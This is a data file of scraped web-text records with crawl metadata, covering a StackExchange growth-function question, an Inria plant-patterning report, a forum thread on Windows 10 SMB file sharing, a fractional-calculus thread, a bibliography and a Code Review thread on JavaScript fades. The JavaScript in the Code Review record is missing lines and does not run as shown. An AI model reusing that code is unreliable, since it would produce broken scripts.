url stringlengths 14 2.42k | text stringlengths 100 1.02M | date stringlengths 19 19 | metadata stringlengths 1.06k 1.1k |
|---|---|---|---|
https://datascience.stackexchange.com/questions/24351/how-to-calculate-growth-function-for-a-threshold-function | # How to calculate growth function for a threshold function
I'm working on a homework problem but don't fully understand it. The problem and solution:
I don't understand the definition of the threshold function.
Does it mean to pick one feature and classify the point based on that one feature?
It's the only way I can think of to explain the solution, $N$ ways to pick a feature, for each feature there are $m+1$ ways to select the threshold.
• Will it possible for you to share the source of this problem? Nov 5 '17 at 2:39
• Hmm...I believe it's okay since it's an old homework, open on the internet and everyone can just google it. Here you go: cs.nyu.edu/~mohri/ml14/hw2.pdf Nov 5 '17 at 14:39
Each member of $H$ is one such function, they are parametrized by $i$, the feature selected and $\theta$, the chosen threshold. Different $\theta$ might corresponds to the same function but effectively there are only $m+1$ such function for each $i$. Hence, the set $H$ consists of at most $(m+1)N$ elements. | 2022-01-18 10:19:33 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.7136654257774353, "perplexity": 273.2822210603574}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-05/segments/1642320300810.66/warc/CC-MAIN-20220118092443-20220118122443-00252.warc.gz"} |
https://raweb.inria.fr/rapportsactivite/RA2019/mosaic/uid57.html | PDF e-Pub
## Section: New Results
### Signaling and transport for tissue patterning
Participants : Romain Azaïs, Guillaume Cerutti, Christophe Godin, Bruno Leggio, Jonathan Legrand, Teva Vernoux [External Collaborator] .
• Related Research Axes: RA1 (Representations of forms in silico) & RA2 (Data-driven models)
• Related Key Modeling Challenges: KMC3 (Realistic integrated digital models)
One central mechanism in the shaping of biological forms is the definition of regions with different genetic identities or physiological properties through bio-chemical processes operating at cellular level. Such patterning of the tissue is often controlled by the action of molecular signals for which active or passive transport mechanisms determine the spatial precision of the targeting. The shoot apical meristem (SAM) of flowering plants is a remarkable example of such finely controlled system where the dynamic interplay between the hormone auxin and the polarization of efflux carriers PIN1 govern the rhythmic patterning of organs, and the consequent emergence of phyllotaxis.
Using Arabidopsis thaliana as a model system, we develop an integrated view of the meristem as a self-organizing dynamical form by reconstructing the dynamics of physiological processes from living tissues, and by proposing computational models integrating transport and signaling to study tissue patterning in silico.
Automatic quantification of auxin transport polarities. Time-lapse imaging of living SAM tissues marked with various fluorescent proteins allows monitoring the dynamics of cell-level molecular processes. Using a co-visualization of functional fluorescent auxin transporter (PIN1-GFP) with a dye staining of cell walls with propidium iodide (PI), we developed an original method to quantify in 3D the polarization of auxin transport for every anticlinal wall of the first layer of cells in confocal images. The developed method [13] was thoroughly evaluated against super-resolution acquisitions of the same tissue obtained using radial fluctuations (SRRF), and show to provide highly consistent results (less than 10% incorrect polarities, 80% of cells with a polarity vector error lesser than 30${}^{\circ }$). The digitally reconstructed networks evidenced an overall stable convergence of PIN1 polarities towards the center of the meristem, with a local convergence and divergence pattern that could explain the dynamics of auxin distributions in the meristem [19].
Landmark-based registration for the averaging of meristem patterning. To perform statistics of meristem patterning at the scale of a population, we developed a series of tools to compute a rigid 3D transformation that registers any individual meristem into a common cylindrical reference frame in which point-wise comparison is meaningful. The orignal method relies on the identification of biological landmarks (apex and main symmetry axis of the meristematic dome, position of the lastly emerged organ primordium and direction of the phyllotactic spiral) to compute this transform. These landmarks can be extracted from image acquisitions of meristems carrying the right fluorescent bio-markers (CLV3 central zone marker for the apex, DIIV auxin bio-sensor for the organ primordia) using an original method that relies on the computation of 2D continuous maps of epidermal signal from discrete point clouds. The use of this registration method allowed to evidence key features of the transcriptional response of mersitematic cells to auxin [19].
In a second time, we aim to generalize the method to images without specific bio-markers, using only the geometry of the tissue to identify the relevant landmarks. To do so, machine learning approaches making use of the data processed for [19] are being developed and evaluated. This new landmark-based registration method would drastically improve the ability of comparing different individual meristems, open the way to spatial statistics over of multiple genetic and molecular signals, and contribute to an integrated tissue-level view of meristem patterning.
Computational models of integrated transport and signaling. Guided by new discoveries on auxin patterning dynamics in the shoot apical meristem (SAM) of A. thaliana, we developed a theoretical model of active and passive auxin transport. This model, built on existing view of auxin active transport [30], [31], naturally integrates the role of deeper cellular layers in the SAM and the mutual feedbacks between different components of the auxin-transport machinery. Through numerical simulation, the consequences of competing theories on PIN polarisation mechanism on auxin dynamics were explored. These results will serve, in quantitative comparisons with in vivo observation, to validate hypotheses on molecular mechanisms of auxin transport and to provide information on the role of memory effects and information fluxes during patterning.
These works were part of the BioSensors HFSP project and are carried out in the Phyllo ENS-Lyon project. These works gave rise to a journal article which is currently under review and have been partly presented at the International Worskhop on Image Analysis Methods for the Plant Sciences in Bron in July 2019. | 2020-07-05 14:13:47 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 1, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.2985821068286896, "perplexity": 4023.153773156067}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-29/segments/1593655887360.60/warc/CC-MAIN-20200705121829-20200705151829-00004.warc.gz"} |
https://forum.level1techs.com/t/going-insane-with-filesharing-on-windows-10-1803/128279 | # Going insane with filesharing on Windows 10 1803
Need some help, i been battling with my main PC, running windows 10 Home that recently updated to 1803. On 1709 and before, sharing was as simple as its been for years with windows, i own many PC on a local network, and all have same user and pw, and sharing was as simple as turning on network discovery, i can see all my pcs and access their main hard drives, even shared individual extra hardrives from some pcs, all work perfect.
Now windows 10 decided to drop Workgroups on 1803 and probably some other stuff that broke my network sharing. I still have a 4x Windows 7 pcs, a blue iris dedicated camera server, a small pc that its use for when someone else needs a pc, my brothers laptop, a windows 2011 (thats similar to 7) and now dual booting my pc between 7 and 10.
All windows 7 PCs work great, but none of my windows 10 pcs (2 with home, 2 with pro) can access the windows 7 machines, they see the PC on the network but once you click on them, they negotiate but never resolve, Error 0x80070035 appears.
I have look for tutorials, on youtube and forums, i feel there are lots of info as this is something that many use, but i have tried everything that i have found and still the same issue. Here some videos and things that i have tried,
How To Homegroup Without Homegroup in Windows 10 - April 2018 Update
• Setting / Network and Internet / Status / Change connection properties / Network Profile / Private
• Setting / Network and Internet / Status / Sharing options / Private / Turn on network discovery, Turn on File and printer Sharing
• Setting / Network and Internet / Status / Sharing options / All networks / Turn off public folder sharing, use 128bit encryption, Turn off password protected sharing
How To Share a Complete Drive in Windows 10 - April 2018 Update
I also tried to share the folder and hardrive as explained on the video.
Also did the Services / Function Discovery Resource publication / Automatic and checked that it was started and running.
Error 0x80070035 “No se Encuentra la Ruta de Acceso a la Red” en Windows 10/8/7「4 Soluciones」2018
• TCP/IP Netbios Helper: check that it was automatic and running
• Network and Sharing center / Ethernet / Properties / TCP/IPv4 / Properties / Advanced / WINS / Enable NetBios over TCP/IP
• REGEDIT / Hkey_Local_machine / Software / Microsoft / MSLicensing / Removing HARDWAREID and STORE
• Local Security Policy / I couldn’t do it because its removed on my freshly formatted w10 1803, probably the video is 1709 that was upgraded (i really don’t know).
I still cant access any of the windows 7 computers drives or folders from a windows 10 1803 machine, i have even formated in case i messed it up, and did all the settings again, no luck, i was so frustrated that i installed windows 7 again on my main pc and it works fine accessing windows 7 and 10 machines.
Either way, i really want to go back to 10, i have issues with Z370/8700K on 7 (not huge but does have some issues), so if you have any recommendations ill give a shot.
Thanks,
Why are you accessing a dozen separate computers individually instead of having a central file share?
edit: also home server 2011 is no longer supported, i recommend you replace it.
1 Like
Why are you accessing a dozen separate computers individually instead of having a central file share?
There are lots of uses for me, here some
1. I have a separate Blue Iris server (surveillance) that i check videos among settings (also cant connect with remote desktop).
2. I also have HTPC that access mostly the WHS for files but sometimes access others pcs.
3. I also have a test bench where i test fans, hardware, even different OS and setups, a lot of results are i move to the WHS2011 or to my main pc for further use.
4. I move files from either computers to my tablets and mobile devices, sometimes the files have been recently downloaded or are stored on WHS2011 so i need to access them from my main pc to transfer them.
5. I record on a dedicated capture/streaming pc that i move the files to my main pc to do edit/rendering for videos, so accessing those folder is needed.
6. I do backups of family and friend computers, they are going to come with 7 and 8 and 10, i need to be able to access those computers and move the files to the server.
7. I also have laptop that i do transfer files from when im on the road, not keen on cloudservices.
edit: also home server 2011 is no longer supported, i recommend you replace it.
Even though the server itself is not the issue, im interested into what do you recommend to move to?
1 Like
The reason I asked is just that it seems like your current way of doing things is just tiresome. You could set up central storage (you have a box acting as a server already) and have all your systems connect to that. It’s just a thought as it seems like it would make things far easier. You can for example set up network shares, or set up SANs that essentially look like local drives to the computer.
If your familial with Windows you might be happy just sticking with that, obviously there’s a cost though and it might be over priced for the functions you want, really depends on you. Other options are to use something else like FreeNAS or similar depending on your needs. It’s something you should definitely put on your plans to upgrade at some point. (You have until Jan 2020 for Windows 7)
As for your current problem. I’m not overly familiar with all the ins and outs of Windows file sharing @anon79053375 might know better. But Windows 10 1803 disabled SMBv1 this may or may not be causing issues (if it is, work around it, do not enable SMBv1).
I’ve no test machines. You should still be able to set up specific shares.
e.g. (on Windows 10 at least)
If you right click the folder you want to share -> Give access to -> Specific People - > Click the drop down, add the specific people or give ‘everyone’ access - > Share
Access via \\computername or ip\path\to\shared\folder
So for example a folder in your users documents folder \\ip\user\Documents\share
Actually SMBv1 is the only one that allows browsing via \\computername, if you’re using v2/3 you need to go to \\computername\share.
Also it’s perfectly fine to run SMBv1 on your LAN, just like it’s fine to run your home server frontends without HTTPS. Obviously you would never do that on a business intranet.
2 Likes
Absolutist statements like this are bad advice, not to mention wrong. It’s not perfectly fine to run SMBv1 on your LAN or anywhere, there’s so many reasons its just silly. Unless you have an extremely specific requirement for it (which is rare), just keep it off, there are far better alternatives like… SMB2/3.
1 Like
Completely disagree. Everybody needs to make their own determination on appropriate security for their private LAN. If you want to lock it down for whatever reason sure, go crazy, you are the king of your castle. There’s just no particular justification to do so.
I would still argue against this.
There is absolutely no reason to be using HTTP for anything other than legacy DNS queries.
Just because it’s private doesn’t mean its absolved.
Security is like a gunshot to the head. Probably won’t happen, but when it does it will be devastating if you’re not prepared.
Regardless, OP could solve his problem with filezilla and SFTP. Or centralize with a server.
Sure there is. It’s easier, and you don’t need to worry about allowing self-signed certs every time you login to your pi-hole or whatever.
If someone gets into your home LAN you have bigger problems than sniffing unencrypted web trafic and SMB DoS attacks. But you need to make that determination yourself.
You can’t mount a remote SFTP service without a bunch of shenanigans and it doesn’t support random access so it is not a reasonable solution.
There are very few legitimate reasons to use SMB1, those reasons pretty much come down to you’re running legacy enterprise hardware that require it and you can’t yet switch it out. In all other cases there is almost zero reason for it. Its old, depreciated, slow, insecure, inefficient, the list goes on. All supported OS’ support SMB2+. There’s no longer any reason for it for day to day systems, locking down a system isnt the only reason not to use SMB1.
1 Like
I personally use SMBv1 because Kodi on Android doesn’t work with SMBv2/3 yet. The next release will, and then I’ll turn it off.
In the case of the OP, the lowest common denominator on his Win7/Home Server 2011/Win10 environment should be SMBv2. So he would ideally use that.
You’re forgetting g that the samba implementation fromm the Samba project it self is up to 3.x which is from a security and administration stadpoint a much better alternative to any other version of the software package.
@Eden, Ruffalo, Dynamic_Gravity and flipper_RHEL, thanks for taking the time into replying to my thread.
The reason I asked is just that it seems like your current way of doing things is just tiresome. You could set up central storage (you have a box acting as a server already) and have all your systems connect to that. It’s just a thought as it seems like it would make things far easier. You can for example set up network shares, or set up SANs that essentially look like local drives to the computer.
I understand your POV, and while i agree to some point, the WHS2011 is not on most of the time, its mostly used a storage server that its only turn on when im home and even when im home its only turn on when others pcs need to offload to it or load files from it. It might seen not optional to you, but im not home most of the month and no one else uses it. I do run some pcs 24/7 like the camera server but in this case it needs to be on to record my home surveillance, also downloads from an external FTP with filezilla, but i prefer not to keep a 22 disk storage sever (WHS2011) doing this duty out of electrical cost.
If your familial with Windows you might be happy just sticking with that, obviously there’s a cost though and it might be over priced for the functions you want, really depends on you. Other options are to use something else like FreeNAS or similar depending on your needs. It’s something you should definitely put on your plans to upgrade at some point.
I’m more familiar to Windows, but im open to others suggestions, specially since my WHS2011 is broken atm, was planning to re do it again, but you have once again open my interest on other options. I never really liked FREENAS/ZFS with the needs of specific sets of disk to create a RaidZ, i like more to able to remove or add drives as the storage server fills up, for this reason i went with WHSv1 for 4 years and now 5 years with WHS2011 + Stablebitt drivepool. Before the 1803 issues i was also doing a new build to start testing unRiad, as it will retain the ability to add / remove drives, dislike a lot the transfer write limitations but can be fixed with a cache drive, but unsure atm weather it will work out with the changes on 1803. I also have considered moving into Synology with its hybrid raid, i own a DS111j that i played around over the years and seems very easy and functional, i never really consider going with it fully out of the pricing of their 12 drives server / expansions, but i might reconsider upon WHS2011 being fased out.
As for your current problem. I’m not overly familiar with all the ins and outs of Windows file sharing @anon79053375 might know better. But Windows 10 1803 disabled SMBv1 this may or may not be causing issues (if it is, work around it, do not enable SMBv1).
I never really research much about SMB/NFS, simply out of how simple was to share drives under windows with simply using same user/pw on all pcs, but you are probably right, maybe W7 is using SMB1 and W10 1803 is not. Ill reserach some more about this.
If you right click the folder you want to share -> Give access to -> Specific People - > Click the drop down, add the specific people or give ‘everyone’ access - > Share
Access via \computername or ip\path\to\shared\folder
I did this before leaving home and didn’t work out, but i feel its more because of what you said before about SMB1, ill see if i can force the SMB2 on the W7 maybe it will negotiatie this way with the W10 pcs.
Actually SMBv1 is the only one that allows browsing via \computername, if you’re using v2/3 you need to go to \computername\share.
Let me ask you, is the syntaxis of how you presented forces on W7/W10 to use SMBv1 or v2? for example typing \computername\share on the w10 pc on windows explorer will make it usre sbmv2 and the w7 pc will also use smb v2 because of how the w10 is requesting?
Regardless, OP could solve his problem with filezilla and SFTP. Or centralize with a server.
I’ll start researching the SFTP, currently i do use filezilla with FTP on a external server, but never really thought about it for a local network sharing and transferring, specially since not all the time is about transferring but playing or streaming.
In the case of the OP, the lowest common denominator on his Win7/Home Server 2011/Win10 environment should be SMBv2. So he would ideally use that.
I like your comments about going SMBv2 because of the computers i own mostly are w7/10, now im not that familiar with smb, i just know its a protocol for network sharing, do i need to do something like disable smbv1 on windows 7 machines to force the smbv2 to run? i have check online and found the following link from microsoft, would you suggest to use this? How to detect, enable and disable SMBv1, SMBv2, and SMBv3 in Windows and Windows Server
The S is for SSL. If you FTP without it, then all that data is being sent int he clear and can be seen en route.
Any linux server running SSHD will you this functionality out of the box, the only thing you will have to do is generate secure keys and import them into your servers .ssh directory, once you do that, you will reasonable security and won’t have to worry about passwords anymore as it uses the key to authenticate.
How does one prepare for a gunshot to the head?
If I may expand on that analogy, I’d argue that two of the most important questions one have to ask oneself is:
1. How likely is it that someone will attempt to shoot me in the head?
Am I an attractive and exposed target in a warzone, or an unknown entity in a Norwegian bunker?
2. How cumbersome will an effective helmet be to carry around?
I.E., How inconvenient is it to use, and does it inhibit access or usage of/to utilities or locations?
By wearing a helmet, and not putting oneself in harms way. Getting self defence training, and learning how to treat wounds.
Average people probably won’t have a hit on them, but if they are ever unlucky enough to be in that situation and are not prepared for it, then their gamble has failed.
Just because people don’t see themselves as a target, does not abstain them from being one. And if they are not prepared to handle a hack, then it is only a matter of when the event will occur and they will lose.
If they don’t know how to be secure it is a matter of ignorance.
If they know how to be secure but don’t, then it is gross negligence.
Hmmm, this stablebit drivepool thing is interesting, like lvm/btrfs/zfs but for Windows. Allows changing redundancy levels per folder if I read correctly – nice, I’d love that kind of flexibility in a Linux box. | 2022-05-26 21:49:36 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.2845415472984314, "perplexity": 2244.5474525251416}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-21/segments/1652662625600.87/warc/CC-MAIN-20220526193923-20220526223923-00036.warc.gz"} |
http://www.physicsforums.com/showthread.php?s=993b2223949e5da9aaa70e038b440440&p=4194454 | Is it possible to do Gaussian integrals with half integrals.
we would define then nth derivative of $e^{-x^2}$
and then somehow use that. And this integral is over all space.
any input will be much appreciated.
Recognitions:
Quote by cragar Is it possible to do Gaussian integrals with half integrals. we would define then nth derivative of $e^{-x^2}$ and then somehow use that. And this integral is over all space. any input will be much appreciated.
Your question is vague. What do you mean by?
Gaussian integrals with half integrals
for example if we had to integrate $e^{ax}$ then nth derivative would be $a^ne^{ax}$ so the half dervative would be $a^{.5}e^{ax}$ and the half integral would be $\frac{e^{ax}}{a^{.5}}$ I was just wondering if we could use this to help us evaluate a Gaussian integral.
Recognitions:
Homework Help
That is called fractional calculus
Half integrals depend on arbitrary constants we might have for the half integral of e^(ax)
e^(ax)/sqrt(a)
or
sqrt(pi/a) e^(a x) erf(sqrt(a x))
I would not be surprising that this could be used, but I am not sure it would be easier or more interesting than other popular methods.
erf(x) function and gamma functions pop out all the time when taking half integrals and your integral is easily expressed in terms of them.
Here is some stuff about all the fun ways to find the integral.
http://en.wikipedia.org/wiki/Gaussian_integral
http://www.york.ac.uk/depts/maths/hi...al_history.pdf | 2013-05-20 00:34:50 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.94843989610672, "perplexity": 393.46587913103133}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2013-20/segments/1368698196686/warc/CC-MAIN-20130516095636-00059-ip-10-60-113-184.ec2.internal.warc.gz"} |
https://www.csauthors.net/anping-liu/ | # Anping Liu
According to our database1, Anping Liu authored at least 19 papers between 2002 and 2019.
Collaborative distances:
• Dijkstra number2 of four.
• Erdős number3 of four.
Book
In proceedings
Article
PhD thesis
Other
## Bibliography
2019
A 12-Bit 31.1- $\mu$ W 1-MS/s SAR ADC With On-Chip Input-Signal-Independent Calibration Achieving 100.4-dB SFDR Using 256-fF Sampling Capacitance.
IEEE J. Solid State Circuits, 2019
2018
A 12-Bit 31.1UW 1MS/S SAR ADC with On-Chip Input-Signal-Independent Calibration Achieving 100.4DB SFDR Using 256FF Sampling Capacitance.
Proceedings of the 2018 IEEE Symposium on VLSI Circuits, 2018
2017
Computation of non-monotonic Lyapunov functions for continuous-time systems.
Commun. Nonlinear Sci. Numer. Simul., 2017
2016
Global Stability Analysis of Some Nonlinear Delay Differential Equations in Population Dynamics.
J. Nonlinear Sci., 2016
2015
The dynamics of a time delayed epidemic model on a population with birth pulse.
Appl. Math. Comput., 2015
2014
A new finding of the existence of hidden hyperchaotic attractors with no equilibria.
Math. Comput. Simul., 2014
Qualitative Analysis for a Reaction-Diffusion Predator-Prey Model with Disease in the Prey Species.
J. Appl. Math., 2014
2013
A note on global stability for a heroin epidemic model with distributed delay.
Appl. Math. Lett., 2013
2011
Existence and Stability of Periodic Solution for Impulsive Hopfield Cellular Neural Networks with Time Delays.
Proceedings of the Advances in Computer Science, Environment, Ecoinformatics, and Education, 2011
Periodic Solution of First-Order Impulsive Differential Equation Based on Data Analysis.
Proceedings of the Advances in Computer Science, Environment, Ecoinformatics, and Education, 2011
2009
Existence and Uniqueness of Solution for Impulsive Cellular Neural Networks.
Proceedings of the 2009 Second International Symposium on Computational Intelligence and Design, 2009
Existence and Stability of Periodic Solution for Impulsive Hopfield Neural Networks.
Proceedings of the 2009 Second International Symposium on Computational Intelligence and Design, 2009
2008
Existence of Periodic Solution for Cellular Neural Networks.
Proceedings of the Fourth International Conference on Natural Computation, 2008
Existence of Periodic Solution for Impulsive Cellular Neural Networks.
Proceedings of the Fourth International Conference on Natural Computation, 2008
2007
Oscillaton Criteria of Delay Pattial Difference Equations with Continuous Variables.
Proceedings of the 2007 International Conference on Scientific Computing, 2007
2004
Computational Models for the Helix Tilt Angle.
J. Chem. Inf. Model., 2004
2003
The oscillation of hyperbolic functional differential equations.
Appl. Math. Comput., 2003
2002
Comparison method of partial functional differential equations and its application.
Appl. Math. Comput., 2002
Stability for large systems of partial functional differential equations: iterative analysis method.
Appl. Math. Comput., 2002 | 2021-01-16 20:43:18 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.3242243528366089, "perplexity": 11796.672030702528}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-04/segments/1610703507045.10/warc/CC-MAIN-20210116195918-20210116225918-00214.warc.gz"} |
http://codereview.stackexchange.com/questions/7315/fade-in-and-fade-out-in-pure-javascript | I decided to build my own fade in fade out function, since that is all I need on my page.
Here it is. Please comment on things I can make better!
NEW VERSION:
var done = true,
function function_opacity(opacity_value) {
fading_div.style.filter = 'alpha(opacity=' + opacity_value + ')';
}
function_opacity(opacity_value);
if (opacity_value == 1) {
done = true;
}
}
function_opacity(opacity_value);
if (opacity_value == 1) {
}
if (opacity_value == 100) {
done = true;
}
}
if (done && fading_div.style.opacity !== '1') {
done = false;
for (var i = 1; i <= 100; i++) {
setTimeout((function (x) {
return function () {
};
})(i), i * 10);
}
}
};
if (done && fading_div.style.opacity !== '0') {
done = false;
for (var i = 1; i <= 100; i++) {
setTimeout((function (x) {
return function () {
};
})(100 - i), i * 10);
}
}
};
OLD VERSION:
<!DOCTYPE html>
<html>
<title></title>
<meta charset="utf-8" />
<body>
<div>
</div>
</div>
<script type="text/javascript">
// global varibles
var done = true,
fading_div.style.filter = 'alpha(opacity=' + opacity_value + ')';
}
done = true;
}
done = true;
}
}
if (done && fading_div.style.opacity !== '1') {
done = false;
for (var i = 1; i <= 100; i++) {
setTimeout("function_opacity(" + i + ",'in')", i * 5);
}
}
};
if (done && fading_div.style.opacity !== '0') {
done = false;
for (var i = 100; i >= 1; i--) {
setTimeout("function_opacity(" + i + ",'out')", (i - 100) * -1 * 5);
}
}
};
</script>
</body>
</html>
-
You could skip all of this and let css transitions do the work for you. css3.bradshawenterprises.com/transitions – Dagg Dec 31 '11 at 0:34
GGG, maybe it's a good idea. People will be updating there browsers more often in 2012. – Hakan Dec 31 '11 at 10:33
Yeah, I think it's fine for something like a fade (progressive enhancement). People who's browsers don't support it won't see the fade, but the thing will still appear/disappear, so they're just missing out on a visual effect, and you get to save 50 or 60 lines of javascript. – Dagg Dec 31 '11 at 17:54
Just some generic notes about the JavaScript code: I'd extract out a setOpacity function and create a fadeOut and a fadeIn function too.
function setOpacity(opacity) {
fading_div.style.filter = 'alpha(opacity=' + opacity + ')';
}
setOpacity(opacity);
if (opacity == 1) {
done = true;
}
}
setOpacity(opacity);
if (opacity == 1) {
}
if (opacity == 100) {
done = true;
}
}
...
setTimeout("fadeIn(" + i + ")", i * 5);
...
It eliminates the in and out magic constants and lots of conditions which checks their values.
Using variable name suffixes like opacity_value looks a little bit redundant (since variables stores values), so I've renamed them. The same is true for the function_opacity function.
I've changed the second for loop too to use fewer arithmetic operations, I think the following is easier to read:
for (var i = 1; i <= 100; i++) {
setTimeout("fadeOut(" + (100 - i) + ")", i * 5);
}
-
Please don't pass strings to setTimeout! It evals them. Pass a function. setTimeout((function(x){ return function(){ fadeOut(100-x); }; })(i), i * 5); It's in a closure because i changes in the for loop. – Rocket Hazmat Dec 30 '11 at 21:58
Thanks, @Rocket! Could you give me an example or link with some explanation why is it better? I'm not a JavaScript guru. (Maybe you want to write it as an answer since in the question there is the same string passing, and we will be able to upvote it.) – palacsint Dec 30 '11 at 22:08
This is just an extension to @palacsint's answer. You shouldn't pass strings to setTimeout, it uses eval, which is inefficient and insecure. You should pass a function.
Problem is, in the for loop i changes, so you'll have to use a closure.
Don't do this:
for (var i = 100; i >= 1; i--) {
setTimeout("function_opacity(" + i + ",'out')", (i - 100) * -1 * 5);
}
for (var i = 100; i >= 1; i--) {
setTimeout((function(x){
return function(){
function_opacity(x, 'out')
};
})(i), (i - 100) * -1 * 5);
}
This may look a little messy. I suggest declaring a function that returns a function separately.
function call_opacity(i, d){
return function(){
function_opacity(i, d);
};
}
Then do:
for (var i = 100; i >= 1; i--) {
setTimeout(call_opacity(i, 'out'), (i - 100) * -1 * 5);
}
-
Thanks Rocket! Here is a link on the subject to back up your answer. Thanks for shring! stackoverflow.com/questions/6232574/… – Hakan Dec 31 '11 at 9:14
I used OPACITY to make it show/hide. See this example, full code (without jQuery):
<a href="javascript:ShowDiv('MyMesage');"> Click here</a>
<div id="MyMesage" style="display:none; background-color:pink; margin:0 0 0 100px;width:200px;">
blablabla
</div>
<script>
function ShowDiv(name){
//duration of transition (1000 miliseconds equals 1 second)
var duration = 1000;
// how many times should it should be changed in delay duration
var AmountOfActions=100;
var diiv= document.getElementById(name);
diiv.style.opacity = '0'; diiv.style.display = 'block'; var counte=0;
setInterval(function(){counte ++;
if ( counte<AmountOfActions) { diiv.style.opacity = counte/AmountOfActions;}
},
duration / AmountOfActions);
}
</script>
-
Welcome! On Code Review, we expect answers to give some kind of feedback for the original code. You may keep this code snippet, but we recommend you explain how it may help the OP. – Jamal Jan 22 at 15:33
protected by Mat's MugJan 22 at 15:46
Thank you for your interest in this question. Because it has attracted low-quality answers, posting an answer now requires 10 reputation on this site. | 2014-09-01 18:36:02 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.2039680778980255, "perplexity": 6763.145506743523}, "config": {"markdown_headings": false, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2014-35/segments/1409535919886.18/warc/CC-MAIN-20140909044518-00165-ip-10-180-136-8.ec2.internal.warc.gz"} |
http://math.stackexchange.com/questions/207959/how-to-solve-this-exponential-question-without-the-log-function | # How to solve this exponential question without the log function?
How to solve this exponential question without the log function?
